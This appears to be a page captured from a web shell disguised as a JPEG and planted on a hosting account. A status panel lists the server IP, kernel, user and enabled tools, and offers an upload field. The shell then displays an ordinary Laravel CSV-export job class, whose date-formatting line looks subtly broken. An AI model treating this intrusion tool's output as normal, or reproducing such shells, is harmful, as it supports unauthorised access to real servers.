����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 18.222.34.209 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/common/Csv/ |
Upload File : |
<?php namespace Common\Csv; use App\User; use Carbon\Carbon; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Notification; use Str; abstract class BaseCsvExportJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; /** * @var resource */ private $csvStream; /** * @var array */ protected $headerKeys; abstract protected function generateLines(); abstract public function cacheName(): string; public function handle() { $this->csvStream = fopen('php://temp', 'w'); $cacheName = $this->cacheName(); CsvExport::where('cache_name', $cacheName)->delete(); $this->generateLines(); $csvExport = CsvExport::create([ 'cache_name' => $cacheName, 'user_id' => $this->requesterId ?? null, 'download_name' => "$cacheName.csv", 'uuid' => Str::uuid(), ]); $csvExport->storeFile($this->csvStream); fclose($this->csvStream); $this->sendNotification($csvExport); } protected function writeLineToCsv(array $data) { if (!$this->headerKeys) { $this->buildCsvHeader($data); } $values = array_map(function ($value) { if ($value instanceof Carbon) { return $value->created_at->format('Y-m-d'); } return $value; }, array_values($data)); fputcsv($this->csvStream, $values); } protected function buildCsvHeader(array $lineData) { $this->headerKeys = array_map(function ($column) { return Str::title(str_replace('_', ' ', $column)); }, array_keys($lineData)); fputcsv($this->csvStream, $this->headerKeys); } protected function notificationName(): string { return $this->cacheName(); } protected function sendNotification(CsvExport $export) { User::find($this->requesterId)->notify( new CsvExportReadyNotif($export, $this->notificationName()), ); } }